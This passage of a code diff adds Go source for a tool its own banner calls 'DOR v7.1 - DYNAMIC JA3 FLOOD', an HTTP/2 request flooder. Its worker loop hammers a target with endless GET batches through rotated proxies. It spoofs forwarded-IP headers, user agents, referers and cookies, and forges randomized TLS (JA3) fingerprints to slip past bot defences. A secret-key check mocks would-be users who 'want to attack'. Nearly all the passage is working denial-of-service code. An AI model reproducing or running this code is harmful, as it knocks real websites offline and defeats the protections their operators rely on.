601
|
+
file, err := os.Open(filename)
|
|
602
|
+
if err != nil {
|
|
603
|
+
return []string{}, []string{}
|
|
604
|
+
}
|
|
605
|
+
defer file.Close()
|
|
606
|
+
|
|
607
|
+
var proxies, ips []string
|
|
608
|
+
scanner := bufio.NewScanner(file)
|
|
609
|
+
for scanner.Scan() {
|
|
610
|
+
proxy := strings.TrimSpace(scanner.Text())
|
|
611
|
+
if proxy != "" && !strings.HasPrefix(proxy, "#") {
|
|
612
|
+
proxies = append(proxies, proxy)
|
|
613
|
+
if idx := strings.Index(proxy, ":"); idx > 0 {
|
|
614
|
+
ips = append(ips, proxy[:idx])
|
|
615
|
+
} else {
|
|
616
|
+
ips = append(ips, proxy)
|
|
617
|
+
}
|
|
618
|
+
}
|
|
619
|
+
}
|
|
620
|
+
return proxies, ips
|
|
621
|
+
}
|
|
622
|
+
|
|
623
|
+
func (pm *ProxyManager) GetProxyIP() string {
|
|
624
|
+
if pm.count == 0 {
|
|
625
|
+
return ""
|
|
626
|
+
}
|
|
627
|
+
idx := atomic.AddUint64(&pm.index, 1) % uint64(pm.count)
|
|
628
|
+
return pm.ips[idx]
|
|
629
|
+
}
|
|
630
|
+
|
|
631
|
+
func (pm *ProxyManager) Count() int {
|
|
632
|
+
return pm.count
|
|
633
|
+
}
|
|
634
|
+
|
|
635
|
+
// ==================== UTILITY ====================
|
|
636
|
+
func randomIP(rng *mrand.Rand) string {
|
|
637
|
+
return fmt.Sprintf("%d.%d.%d.%d",
|
|
638
|
+
rng.Intn(256), rng.Intn(256), rng.Intn(256), rng.Intn(256))
|
|
639
|
+
}
|
|
640
|
+
|
|
641
|
+
// ==================== WORKER TRANSPORT (uTLS + Dynamic JA3 + http2.Transport) ====================
|
|
642
|
+
type WorkerTransport struct {
|
|
643
|
+
client *http.Client
|
|
644
|
+
t2 *http2.Transport
|
|
645
|
+
fpIdx int
|
|
646
|
+
}
|
|
647
|
+
|
|
648
|
+
// Shared transport pool — now with DYNAMIC JA3 generation per-connection
|
|
649
|
+
var (
|
|
650
|
+
sharedTransports []*WorkerTransport
|
|
651
|
+
sharedInitOnce sync.Once
|
|
652
|
+
ja3Counter uint64 // Track unique JA3 profiles generated
|
|
653
|
+
)
|
|
654
|
+
|
|
655
|
+
func initSharedTransports(target string) {
|
|
656
|
+
sharedInitOnce.Do(func() {
|
|
657
|
+
poolSize := runtime.NumCPU() * 16
|
|
658
|
+
sharedTransports = make([]*WorkerTransport, poolSize)
|
|
659
|
+
|
|
660
|
+
for i := 0; i < poolSize; i++ {
|
|
661
|
+
// v7.1: Use dynamic JA3 instead of static fingerprints
|
|
662
|
+
ja3Profile := generateDynamicJA3(mrand.New(mrand.NewSource(time.Now().UnixNano() + int64(i)*1234567890)))
|
|
663
|
+
|
|
664
|
+
dialer := &net.Dialer{
|
|
665
|
+
Timeout: CONN_TIMEOUT,
|
|
666
|
+
KeepAlive: KEEP_ALIVE,
|
|
667
|
+
DualStack: true,
|
|
668
|
+
Control: func(network, address string, c syscall.RawConn) error {
|
|
669
|
+
return c.Control(func(fd uintptr) {
|
|
670
|
+
syscall.SetsockoptInt(int(fd), syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1)
|
|
671
|
+
syscall.SetsockoptInt(int(fd), syscall.SOL_SOCKET, 0xf, 1)
|
|
672
|
+
syscall.SetsockoptInt(int(fd), syscall.IPPROTO_TCP, syscall.TCP_NODELAY, 1)
|
|
673
|
+
})
|
|
674
|
+
},
|
|
675
|
+
}
|
|
676
|
+
|
|
677
|
+
tlsCfg := &utls.Config{
|
|
678
|
+
ServerName: target,
|
|
679
|
+
InsecureSkipVerify: true,
|
|
680
|
+
}
|
|
681
|
+
|
|
682
|
+
// v7.1: Dynamic JA3 ClientHello builder
|
|
683
|
+
dialTLS := func(ctx context.Context, network, addr string) (net.Conn, error) {
|
|
684
|
+
tcpConn, err := dialer.DialContext(ctx, network, addr)
|
|
685
|
+
if err != nil {
|
|
686
|
+
return nil, err
|
|
687
|
+
}
|
|
688
|
+
|
|
689
|
+
// Use base fingerprint for initialization
|
|
690
|
+
counter := atomic.AddUint64(&ja3Counter, 1)
|
|
691
|
+
baseFP := browserFingerprints[counter%uint64(len(browserFingerprints))]
|
|
692
|
+
uConn := utls.UClient(tcpConn, tlsCfg, baseFP.helloID)
|
|
693
|
+
|
|
694
|
+
// Apply dynamic JA3 profile
|
|
695
|
+
spec := createClientHelloSpec(ja3Profile, baseFP.helloID)
|
|
696
|
+
if err := uConn.ApplyPreset(spec); err != nil {
|
|
697
|
+
tcpConn.Close()
|
|
698
|
+
return nil, err
|
|
699
|
+
}
|
|
700
|
+
|
|
701
|
+
if err := uConn.Handshake(); err != nil {
|
|
702
|
+
tcpConn.Close()
|
|
703
|
+
return nil, err
|
|
704
|
+
}
|
|
705
|
+
return uConn, nil
|
|
706
|
+
}
|
|
707
|
+
|
|
708
|
+
t2 := &http2.Transport{
|
|
709
|
+
DialTLSContext: func(ctx context.Context, network, addr string, _ *tls.Config) (net.Conn, error) {
|
|
710
|
+
return dialTLS(ctx, network, addr)
|
|
711
|
+
},
|
|
712
|
+
DisableCompression: true,
|
|
713
|
+
ReadIdleTimeout: 30 * time.Second,
|
|
714
|
+
PingTimeout: 5 * time.Second,
|
|
715
|
+
MaxHeaderListSize: 1024 * 1024,
|
|
716
|
+
}
|
|
717
|
+
|
|
718
|
+
sharedTransports[i] = &WorkerTransport{
|
|
719
|
+
client: &http.Client{
|
|
720
|
+
Transport: t2,
|
|
721
|
+
Timeout: REQUEST_TIMEOUT,
|
|
722
|
+
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
|
|
723
|
+
},
|
|
724
|
+
t2: t2,
|
|
725
|
+
fpIdx: i,
|
|
726
|
+
}
|
|
727
|
+
}
|
|
728
|
+
})
|
|
729
|
+
}
|
|
730
|
+
|
|
731
|
+
// createClientHelloSpec builds uTLS ClientHelloSpec from dynamic JA3 profile
|
|
732
|
+
func createClientHelloSpec(profile JA3Profile, baseID utls.ClientHelloID) *utls.ClientHelloSpec {
|
|
733
|
+
// Convert extension IDs to TLSExtension objects
|
|
734
|
+
extensions := make([]utls.TLSExtension, 0, len(profile.Extensions))
|
|
735
|
+
|
|
736
|
+
// Convert curves to utls.CurveID type
|
|
737
|
+
curves := make([]utls.CurveID, len(profile.SupportedCurves))
|
|
738
|
+
for i, c := range profile.SupportedCurves {
|
|
739
|
+
curves[i] = utls.CurveID(c)
|
|
740
|
+
}
|
|
741
|
+
|
|
742
|
+
for _, extID := range profile.Extensions {
|
|
743
|
+
switch extID {
|
|
744
|
+
case 0x0000:
|
|
745
|
+
extensions = append(extensions, &utls.SNIExtension{})
|
|
746
|
+
case 0x0005:
|
|
747
|
+
extensions = append(extensions, &utls.StatusRequestExtension{})
|
|
748
|
+
case 0x000a:
|
|
749
|
+
extensions = append(extensions, &utls.SupportedCurvesExtension{Curves: curves})
|
|
750
|
+
case 0x000b:
|
|
751
|
+
extensions = append(extensions, &utls.SupportedPointsExtension{SupportedPoints: profile.SupportedPoints})
|
|
752
|
+
case 0x000d:
|
|
753
|
+
extensions = append(extensions, &utls.SignatureAlgorithmsExtension{
|
|
754
|
+
SupportedSignatureAlgorithms: []utls.SignatureScheme{
|
|
755
|
+
utls.ECDSAWithP256AndSHA256,
|
|
756
|
+
utls.ECDSAWithP384AndSHA384,
|
|
757
|
+
utls.ECDSAWithP521AndSHA512,
|
|
758
|
+
utls.PSSWithSHA256,
|
|
759
|
+
utls.PSSWithSHA384,
|
|
760
|
+
utls.PSSWithSHA512,
|
|
761
|
+
utls.PKCS1WithSHA256,
|
|
762
|
+
utls.PKCS1WithSHA384,
|
|
763
|
+
utls.PKCS1WithSHA512,
|
|
764
|
+
utls.ECDSAWithSHA1,
|
|
765
|
+
utls.PKCS1WithSHA1,
|
|
766
|
+
},
|
|
767
|
+
})
|
|
768
|
+
case 0x0010:
|
|
769
|
+
extensions = append(extensions, &utls.ALPNExtension{AlpnProtocols: []string{"h2", "http/1.1"}})
|
|
770
|
+
case 0x0015:
|
|
771
|
+
extensions = append(extensions, &utls.UtlsPaddingExtension{WillPad: true})
|
|
772
|
+
case 0x0017:
|
|
773
|
+
extensions = append(extensions, &utls.GenericExtension{Id: extID})
|
|
774
|
+
case 0x0023:
|
|
775
|
+
extensions = append(extensions, &utls.SessionTicketExtension{})
|
|
776
|
+
case 0x002b:
|
|
777
|
+
extensions = append(extensions, &utls.SupportedVersionsExtension{
|
|
778
|
+
Versions: []uint16{utls.VersionTLS13, utls.VersionTLS12},
|
|
779
|
+
})
|
|
780
|
+
case 0x0033:
|
|
781
|
+
extensions = append(extensions, &utls.KeyShareExtension{KeyShares: []utls.KeyShare{
|
|
782
|
+
{Group: curves[0], Data: nil},
|
|
783
|
+
}})
|
|
784
|
+
case 0x0035:
|
|
785
|
+
extensions = append(extensions, &utls.PSKKeyExchangeModesExtension{Modes: []uint8{utls.PskModeDHE}})
|
|
786
|
+
case 0xff01:
|
|
787
|
+
extensions = append(extensions, &utls.RenegotiationInfoExtension{Renegotiation: utls.RenegotiateOnceAsClient})
|
|
788
|
+
default:
|
|
789
|
+
// GREASE or unknown extensions
|
|
790
|
+
if isGREASE(extID) {
|
|
791
|
+
extensions = append(extensions, &utls.UtlsGREASEExtension{})
|
|
792
|
+
} else {
|
|
793
|
+
extensions = append(extensions, &utls.GenericExtension{Id: extID})
|
|
794
|
+
}
|
|
795
|
+
}
|
|
796
|
+
}
|
|
797
|
+
|
|
798
|
+
return &utls.ClientHelloSpec{
|
|
799
|
+
TLSVersMin: profile.Version,
|
|
800
|
+
TLSVersMax: utls.VersionTLS13,
|
|
801
|
+
CipherSuites: profile.CipherSuites,
|
|
802
|
+
CompressionMethods: []byte{0x00},
|
|
803
|
+
Extensions: extensions,
|
|
804
|
+
GetSessionID: nil,
|
|
805
|
+
}
|
|
806
|
+
}
|
|
807
|
+
|
|
808
|
+
// isGREASE checks if extension ID is a GREASE value
|
|
809
|
+
func isGREASE(extID uint16) bool {
|
|
810
|
+
for _, g := range greaseValues {
|
|
811
|
+
if extID == g {
|
|
812
|
+
return true
|
|
813
|
+
}
|
|
814
|
+
}
|
|
815
|
+
return false
|
|
816
|
+
}
|
|
817
|
+
|
|
818
|
+
func GetSharedTransport(workerID int) *WorkerTransport {
|
|
819
|
+
return sharedTransports[workerID%len(sharedTransports)]
|
|
820
|
+
}
|
|
821
|
+
|
|
822
|
+
// NewWorkerTransport (legacy, not used when shared pool is active)
|
|
823
|
+
func NewWorkerTransport(fpIdx int, target string) *WorkerTransport {
|
|
824
|
+
fp := browserFingerprints[fpIdx%len(browserFingerprints)]
|
|
825
|
+
|
|
826
|
+
dialer := &net.Dialer{
|
|
827
|
+
Timeout: CONN_TIMEOUT,
|
|
828
|
+
KeepAlive: KEEP_ALIVE,
|
|
829
|
+
DualStack: true,
|
|
830
|
+
Control: func(network, address string, c syscall.RawConn) error {
|
|
831
|
+
return c.Control(func(fd uintptr) {
|
|
832
|
+
syscall.SetsockoptInt(int(fd), syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1)
|
|
833
|
+
syscall.SetsockoptInt(int(fd), syscall.SOL_SOCKET, 0xf, 1)
|
|
834
|
+
syscall.SetsockoptInt(int(fd), syscall.IPPROTO_TCP, syscall.TCP_NODELAY, 1)
|
|
835
|
+
})
|
|
836
|
+
},
|
|
837
|
+
}
|
|
838
|
+
|
|
839
|
+
tlsCfg := &utls.Config{
|
|
840
|
+
ServerName: target,
|
|
841
|
+
InsecureSkipVerify: true,
|
|
842
|
+
}
|
|
843
|
+
|
|
844
|
+
dialTLS := func(ctx context.Context, network, addr string) (net.Conn, error) {
|
|
845
|
+
tcpConn, err := dialer.DialContext(ctx, network, addr)
|
|
846
|
+
if err != nil {
|
|
847
|
+
return nil, err
|
|
848
|
+
}
|
|
849
|
+
uConn := utls.UClient(tcpConn, tlsCfg, fp.helloID)
|
|
850
|
+
if err := uConn.Handshake(); err != nil {
|
|
851
|
+
tcpConn.Close()
|
|
852
|
+
return nil, err
|
|
853
|
+
}
|
|
854
|
+
return uConn, nil
|
|
855
|
+
}
|
|
856
|
+
|
|
857
|
+
t2 := &http2.Transport{
|
|
858
|
+
DialTLSContext: func(ctx context.Context, network, addr string, _ *tls.Config) (net.Conn, error) {
|
|
859
|
+
return dialTLS(ctx, network, addr)
|
|
860
|
+
},
|
|
861
|
+
DisableCompression: true,
|
|
862
|
+
ReadIdleTimeout: 30 * time.Second,
|
|
863
|
+
PingTimeout: 5 * time.Second,
|
|
864
|
+
MaxHeaderListSize: 1024 * 1024,
|
|
865
|
+
}
|
|
866
|
+
|
|
867
|
+
return &WorkerTransport{
|
|
868
|
+
client: &http.Client{
|
|
869
|
+
Transport: t2,
|
|
870
|
+
Timeout: REQUEST_TIMEOUT,
|
|
871
|
+
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
|
|
872
|
+
},
|
|
873
|
+
t2: t2,
|
|
874
|
+
fpIdx: fpIdx % len(browserFingerprints),
|
|
875
|
+
}
|
|
876
|
+
}
|
|
877
|
+
|
|
878
|
+
// ==================== WORKER ====================
|
|
879
|
+
func worker(id int, target string, port int, scheme string, customPath string,
|
|
880
|
+
proxyMgr *ProxyManager, rateLearner *RateLearner, uaLoader *UALoader, cookieJar *CookieJar,
|
|
881
|
+
refererLoader *RefererLoader, headerTemplates []*HeaderTemplate,
|
|
882
|
+
wg *sync.WaitGroup, stopChan <-chan struct{}) {
|
|
883
|
+
|
|
884
|
+
defer wg.Done()
|
|
885
|
+
|
|
886
|
+
seed := time.Now().UnixNano() + int64(id)*6364136223846793005
|
|
887
|
+
rng := mrand.New(mrand.NewSource(seed))
|
|
888
|
+
|
|
889
|
+
// v7: use shared transport pool — 4 global transports, max connection reuse
|
|
890
|
+
transport := GetSharedTransport(id)
|
|
891
|
+
|
|
892
|
+
host := fmt.Sprintf("%s:%d", target, port)
|
|
893
|
+
baseURL := fmt.Sprintf("%s://%s", scheme, host)
|
|
894
|
+
|
|
895
|
+
var urlBuilder strings.Builder
|
|
896
|
+
urlBuilder.Grow(256)
|
|
897
|
+
|
|
898
|
+
pathCount := len(commonPaths)
|
|
899
|
+
pathIdx := 0
|
|
900
|
+
|
|
901
|
+
tsUpdateCounter := 0
|
|
902
|
+
timestampNano := strconv.FormatInt(time.Now().UnixNano(), 10)
|
|
903
|
+
|
|
904
|
+
for {
|
|
905
|
+
select {
|
|
906
|
+
case <-stopChan:
|
|
907
|
+
return
|
|
908
|
+
default:
|
|
909
|
+
}
|
|
910
|
+
|
|
911
|
+
proxyIP := proxyMgr.GetProxyIP()
|
|
912
|
+
|
|
913
|
+
for i := 0; i < BATCH_SIZE && atomic.LoadInt32(&stopFlag) == 0; i++ {
|
|
914
|
+
atomic.AddUint64(&totalRequests, 1)
|
|
915
|
+
|
|
916
|
+
urlBuilder.Reset()
|
|
917
|
+
urlBuilder.WriteString(baseURL)
|
|
918
|
+
|
|
919
|
+
// Use custom path if provided, otherwise rotate through common paths
|
|
920
|
+
if customPath != "" {
|
|
921
|
+
urlBuilder.WriteString(customPath)
|
|
922
|
+
} else {
|
|
923
|
+
urlBuilder.WriteString(commonPaths[pathIdx])
|
|
924
|
+
pathIdx++
|
|
925
|
+
if pathIdx >= pathCount {
|
|
926
|
+
pathIdx = 0
|
|
927
|
+
}
|
|
928
|
+
}
|
|
929
|
+
|
|
930
|
+
if rng.Intn(100) < 50 {
|
|
931
|
+
urlBuilder.WriteString(queryParamPool[rng.Intn(len(queryParamPool))])
|
|
932
|
+
tsUpdateCounter++
|
|
933
|
+
if tsUpdateCounter >= 100 {
|
|
934
|
+
timestampNano = strconv.FormatInt(time.Now().UnixNano(), 10)
|
|
935
|
+
tsUpdateCounter = 0
|
|
936
|
+
}
|
|
937
|
+
urlBuilder.WriteString("&_t=")
|
|
938
|
+
urlBuilder.WriteString(timestampNano)
|
|
939
|
+
}
|
|
940
|
+
|
|
941
|
+
fullURL := urlBuilder.String()
|
|
942
|
+
|
|
943
|
+
req, _ := http.NewRequest("GET", fullURL, nil)
|
|
944
|
+
req.Host = host
|
|
945
|
+
|
|
946
|
+
uaEntry := uaLoader.GetUA()
|
|
947
|
+
profile := headerTemplates[uaEntry.profileIdx]
|
|
948
|
+
referer := refererLoader.GetReferer()
|
|
949
|
+
cookie := cookieJar.Get(host)
|
|
950
|
+
|
|
951
|
+
req.Header = cloneHeaders(profile, uaEntry.ua, referer, proxyIP, rng, cookie)
|
|
952
|
+
|
|
953
|
+
reqStart := time.Now()
|
|
954
|
+
resp, err := transport.client.Do(req)
|
|
955
|
+
if err != nil {
|
|
956
|
+
atomic.AddUint64(&totalErrors, 1)
|
|
957
|
+
continue
|
|
958
|
+
}
|
|
959
|
+
|
|
960
|
+
latency := uint64(time.Since(reqStart).Milliseconds())
|
|
961
|
+
atomic.AddUint64(&totalLatency, latency)
|
|
962
|
+
atomic.AddUint64(&latencyCount, 1)
|
|
963
|
+
|
|
964
|
+
if resp.Body != nil {
|
|
965
|
+
if cookies := resp.Header.Get("Set-Cookie"); cookies != "" {
|
|
966
|
+
cookieJar.Set(host, cookies)
|
|
967
|
+
}
|
|
968
|
+
resp.Body.Close()
|
|
969
|
+
}
|
|
970
|
+
|
|
971
|
+
switch resp.StatusCode {
|
|
972
|
+
case 200, 201, 202, 204, 301, 302, 304:
|
|
973
|
+
atomic.AddUint64(&successRequests, 1)
|
|
974
|
+
case 429, 403, 503:
|
|
975
|
+
atomic.AddUint64(&blockedRequests, 1)
|
|
976
|
+
atomic.AddUint64(&totalErrors, 1)
|
|
977
|
+
default:
|
|
978
|
+
atomic.AddUint64(&successRequests, 1)
|
|
979
|
+
}
|
|
980
|
+
}
|
|
981
|
+
}
|
|
982
|
+
}
|
|
983
|
+
|
|
984
|
+
// ==================== STATS ====================
|
|
985
|
+
type LiveStats struct {
|
|
986
|
+
Timestamp string `json:"timestamp"`
|
|
987
|
+
Target string `json:"target"`
|
|
988
|
+
Port int `json:"port"`
|
|
989
|
+
TotalRequests uint64 `json:"total_requests"`
|
|
990
|
+
SuccessRate float64 `json:"success_rate"`
|
|
991
|
+
AvgLatencyMs uint64 `json:"avg_latency_ms"`
|
|
992
|
+
ElapsedSeconds float64 `json:"elapsed_seconds"`
|
|
993
|
+
}
|
|
994
|
+
|
|
995
|
+
func saveStats(target string, port int) {
|
|
996
|
+
stats := LiveStats{
|
|
997
|
+
Timestamp: time.Now().Format(time.RFC3339),
|
|
998
|
+
Target: target,
|
|
999
|
+
Port: port,
|
|
1000
|
+
TotalRequests: atomic.LoadUint64(&totalRequests),
|
|
1001
|
+
SuccessRate: float64(atomic.LoadUint64(&successRequests)) / float64(atomic.LoadUint64(&totalRequests)+1) * 100,
|
|
1002
|
+
ElapsedSeconds: time.Since(startTime).Seconds(),
|
|
1003
|
+
}
|
|
1004
|
+
jsonData, _ := json.MarshalIndent(stats, "", " ")
|
|
1005
|
+
os.WriteFile(STATS_FILE_PATH, jsonData, 0644)
|
|
1006
|
+
}
|
|
1007
|
+
|
|
1008
|
+
func printStats(stopChan <-chan struct{}, duration int, isUnlimited bool) {
|
|
1009
|
+
ticker := time.NewTicker(1 * time.Second)
|
|
1010
|
+
defer ticker.Stop()
|
|
1011
|
+
|
|
1012
|
+
var lastReqs uint64
|
|
1013
|
+
elapsed := 0
|
|
1014
|
+
|
|
1015
|
+
for {
|
|
1016
|
+
select {
|
|
1017
|
+
case <-stopChan:
|
|
1018
|
+
return
|
|
1019
|
+
case <-ticker.C:
|
|
1020
|
+
elapsed++
|
|
1021
|
+
currentReqs := atomic.LoadUint64(&totalRequests)
|
|
1022
|
+
currentErrs := atomic.LoadUint64(&totalErrors)
|
|
1023
|
+
currentBlocked := atomic.LoadUint64(&blockedRequests)
|
|
1024
|
+
|
|
1025
|
+
reqsPerSec := currentReqs - lastReqs
|
|
1026
|
+
lastReqs = currentReqs
|
|
1027
|
+
atomic.StoreUint64(¤tRPS, uint64(reqsPerSec))
|
|
1028
|
+
|
|
1029
|
+
successRate := float64(100)
|
|
1030
|
+
if currentReqs+currentErrs > 0 {
|
|
1031
|
+
successRate = float64(currentReqs) / float64(currentReqs+currentErrs) * 100
|
|
1032
|
+
}
|
|
1033
|
+
|
|
1034
|
+
lc := atomic.LoadUint64(&latencyCount)
|
|
1035
|
+
avgLat := uint64(0)
|
|
1036
|
+
if lc > 0 {
|
|
1037
|
+
avgLat = atomic.LoadUint64(&totalLatency) / lc
|
|
1038
|
+
}
|
|
1039
|
+
|
|
1040
|
+
durationStr := fmt.Sprintf("%d/%ds", elapsed, duration)
|
|
1041
|
+
if isUnlimited {
|
|
1042
|
+
durationStr = fmt.Sprintf("Running: %ds", elapsed)
|
|
1043
|
+
}
|
|
1044
|
+
|
|
1045
|
+
fmt.Printf("\r"+CYAN+"[%s]"+RESET+" Req: "+GREEN+"%d"+RESET+" (%d/s) "+CYAN+"|"+RESET+" Err: "+RED+"%d"+RESET+" "+CYAN+"|"+RESET+" Blocked: "+YELLOW+"%d"+RESET+" "+CYAN+"|"+RESET+" Success: "+GREEN+"%.1f%%"+RESET+" "+CYAN+"|"+RESET+" Latency: %dms",
|
|
1046
|
+
durationStr, currentReqs, reqsPerSec, currentErrs, currentBlocked, successRate, avgLat)
|
|
1047
|
+
|
|
1048
|
+
if !isUnlimited && elapsed >= duration {
|
|
1049
|
+
fmt.Println()
|
|
1050
|
+
return
|
|
1051
|
+
}
|
|
1052
|
+
}
|
|
1053
|
+
}
|
|
1054
|
+
}
|
|
1055
|
+
|
|
1056
|
+
// ==================== UI ====================
|
|
1057
|
+
func drawHeader(target string, port, duration, workers, proxyCount, uaCount, refererCount int, isUnlimited bool) {
|
|
1058
|
+
fmt.Println()
|
|
1059
|
+
fmt.Println(RGB_RED + " ╔══════════════════════════════════════════════════════════════╗" + RESET)
|
|
1060
|
+
fmt.Println(RGB_RED + " ║" + RESET + BOLD + RGB_GOLD + " 🚀 DOR v7.1 - DYNAMIC JA3 FLOOD 🚀 " + RESET + RGB_RED + "║" + RESET)
|
|
1061
|
+
fmt.Println(RGB_RED + " ║" + RESET + DIM + RGB_PURPLE + " Dynamic JA3 • 1000+ Unique Fingerprints " + RESET + RGB_RED + "║" + RESET)
|
|
1062
|
+
fmt.Println(RGB_RED + " ╚══════════════════════════════════════════════════════════════╝" + RESET)
|
|
1063
|
+
fmt.Println()
|
|
1064
|
+
fmt.Println(BLUE + " ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" + RESET)
|
|
1065
|
+
fmt.Printf(CYAN+" 🎯 Target "+RESET+": %s:%d\n", target, port)
|
|
1066
|
+
|
|
1067
|
+
dur := fmt.Sprintf("%d seconds", duration)
|
|
1068
|
+
if isUnlimited {
|
|
1069
|
+
dur = "UNLIMITED (max)"
|
|
1070
|
+
}
|
|
1071
|
+
fmt.Printf(CYAN+" ⏱️ Duration "+RESET+": %s\n", dur)
|
|
1072
|
+
fmt.Printf(CYAN+" 🧵 Workers "+RESET+": %d\n", workers)
|
|
1073
|
+
fmt.Printf(CYAN+" 📦 Batch "+RESET+": %d requests\n", BATCH_SIZE)
|
|
1074
|
+
fmt.Printf(CYAN+" 🌐 Protocol "+RESET+": HTTP/2 (TLS 1.3) [Dynamic JA3]\n")
|
|
1075
|
+
fmt.Printf(CYAN+" 🎭 JA3 "+RESET+": ∞ Dynamic (1000+ unique profiles)\n")
|
|
1076
|
+
fmt.Printf(CYAN+" 🔒 Ciphers "+RESET+": %d (randomized per-connection)\n", len(dynamicCipherPool))
|
|
1077
|
+
fmt.Printf(CYAN+" 📝 UA Count "+RESET+": %d (pre-computed profiles)\n", uaCount)
|
|
1078
|
+
fmt.Printf(CYAN+" 🔗 Referer "+RESET+": %d from referer.txt\n", refererCount)
|
|
1079
|
+
fmt.Printf(CYAN+" 🍪 Cookies "+RESET+": Session Support\n")
|
|
1080
|
+
|
|
1081
|
+
modeStr := "DIRECT"
|
|
1082
|
+
if proxyCount > 0 {
|
|
1083
|
+
modeStr = fmt.Sprintf("PROXY (%d proxies)", proxyCount)
|
|
1084
|
+
}
|
|
1085
|
+
fmt.Printf(CYAN+" 📦 Mode "+RESET+": %s\n", modeStr)
|
|
1086
|
+
fmt.Printf(CYAN+" 🚀 CPU Cores"+RESET+": %d\n", runtime.NumCPU())
|
|
1087
|
+
fmt.Println(BLUE + " ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" + RESET)
|
|
1088
|
+
fmt.Println()
|
|
1089
|
+
}
|
|
1090
|
+
|
|
1091
|
+
func drawFinalReport(elapsed float64) {
|
|
1092
|
+
fmt.Println()
|
|
1093
|
+
fmt.Println()
|
|
1094
|
+
fmt.Println(RGB_RED + " ╔══════════════════════════════════════════════════════════════╗" + RESET)
|
|
1095
|
+
fmt.Println(RGB_RED + " ║" + RESET + BOLD + BRIGHT_CYAN + " ✅ COMPLETE ✅ " + RESET + RGB_RED + "║" + RESET)
|
|
1096
|
+
fmt.Println(RGB_RED + " ╠══════════════════════════════════════════════════════════════╣" + RESET)
|
|
1097
|
+
|
|
1098
|
+
total := atomic.LoadUint64(&totalRequests)
|
|
1099
|
+
success := atomic.LoadUint64(&successRequests)
|
|
1100
|
+
errs := atomic.LoadUint64(&totalErrors)
|
|
1101
|
+
blocked := atomic.LoadUint64(&blockedRequests)
|
|
1102
|
+
lc := atomic.LoadUint64(&latencyCount)
|
|
1103
|
+
avgLat := uint64(0)
|
|
1104
|
+
if lc > 0 {
|
|
1105
|
+
avgLat = atomic.LoadUint64(&totalLatency) / lc
|
|
1106
|
+
}
|
|
1107
|
+
|
|
1108
|
+
rps := float64(total) / elapsed
|
|
1109
|
+
successRate := float64(100)
|
|
1110
|
+
if total+errs > 0 {
|
|
1111
|
+
successRate = float64(success) / float64(total+errs) * 100
|
|
1112
|
+
}
|
|
1113
|
+
|
|
1114
|
+
fmt.Printf(RGB_RED+" ║"+RESET+" "+YELLOW+"🎯 Total Requests"+RESET+" : %-12d"+RGB_RED+"║\n"+RESET, total)
|
|
1115
|
+
fmt.Printf(RGB_RED+" ║"+RESET+" "+GREEN+"✅ Successful"+RESET+" : %-12d (%5.1f%%)"+RGB_RED+"║\n"+RESET, success, successRate)
|
|
1116
|
+
fmt.Printf(RGB_RED+" ║"+RESET+" "+RED+"❌ Errors"+RESET+" : %-12d"+RGB_RED+"║\n"+RESET, errs)
|
|
1117
|
+
fmt.Printf(RGB_RED+" ║"+RESET+" "+RGB_ORANGE+"🚫 Blocked (429/403)"+RESET+" : %-12d"+RGB_RED+"║\n"+RESET, blocked)
|
|
1118
|
+
fmt.Printf(RGB_RED+" ║"+RESET+" "+CYAN+"⚡ Avg RPS"+RESET+" : %-12.0f"+RGB_RED+"║\n"+RESET, rps)
|
|
1119
|
+
fmt.Printf(RGB_RED+" ║"+RESET+" "+BOLD+"⏱️ Latency (avg)"+RESET+" : %-12d ms"+RGB_RED+"║\n"+RESET, avgLat)
|
|
1120
|
+
fmt.Println(RGB_RED + " ╚══════════════════════════════════════════════════════════════╝" + RESET)
|
|
1121
|
+
fmt.Println()
|
|
1122
|
+
}
|
|
1123
|
+
|
|
1124
|
+
// ==================== MAIN ====================
|
|
1125
|
+
func main() {
|
|
1126
|
+
// ── SECRET KEY CHECK ──
|
|
1127
|
+
validKeys := map[string]bool{
|
|
1128
|
+
"夜影风暴": true, "量子幽灵": true, "暗影猎手": true, "虚空使者": true, "灵魂守卫": true,
|
|
1129
|
+
"烈焰之心": true, "冰封王座": true, "雷霆之怒": true, "星辰大海": true, "深渊之眼": true,
|
|
1130
|
+
}
|
|
1131
|
+
execKey := os.Getenv("EXEC_KEY")
|
|
1132
|
+
if execKey == "" || !validKeys[execKey] {
|
|
1133
|
+
fmt.Println(`
|
|
1134
|
+
╔══════════════════════════════════════════════════════╗
|
|
1135
|
+
║ ║
|
|
1136
|
+
║ ╔═╗╔═╗ ╔═╗╦ ╦╦╔═╗╔╗╔ ╔═╗╦═╗╦╔═╗ ║
|
|
1137
|
+
║ ╠═╝║╣ ║ ╠═╣║║ ║║║║ ║ ╠╦╝║╠═╝ ║
|
|
1138
|
+
║ ╩ ╚═╝ ╚═╝╩ ╩╩╚═╝╝╚╝ ╚═╝╩╚═╩╩ ║
|
|
1139
|
+
║ ║
|
|
1140
|
+
║ "你连钥匙都没有,还想攻击?" ║
|
|
1141
|
+
║ "You don't even have the key, and you want to ║
|
|
1142
|
+
║ attack? LOL." ║
|
|
1143
|
+
║ ║
|
|
1144
|
+
║ → EXEC_KEY is missing or invalid ║
|
|
1145
|
+
║ → You are NOT Michelle Wang ║
|
|
1146
|
+
║ → Go home, script kiddie 🤡 ║
|
|
1147
|
+
║ ║
|
|
1148
|
+
╚══════════════════════════════════════════════════════╝
|
|
1149
|
+
`)
|
|
1150
|
+
os.Exit(1)
|
|
1151
|
+
}
|
|
1152
|
+
|
|
1153
|
+
runtime.GOMAXPROCS(runtime.NumCPU())
|
|
1154
|
+
|
|
1155
|
+
|
|
1156
|
+
var target string
|
|
1157
|
+
var port int
|
|
1158
|
+
var timeArg string
|
|
1159
|
+
var workers int
|
|
1160
|
+
var proxyFile string
|
|
1161
|
+
var customPath string // Custom path from target URL
|
|
1162
|
+
|
|
1163
|
+
if len(os.Args) >= 5 && !strings.Contains(os.Args[1], "://") {
|
|
1164
|
+
rawTarget := os.Args[1]
|
|
1165
|
+
// Parse target: example.com/path or example.com:443/path
|
|
1166
|
+
if idx := strings.Index(rawTarget, "/"); idx != -1 {
|
|
1167
|
+
target = rawTarget[:idx]
|
|
1168
|
+
customPath = rawTarget[idx:]
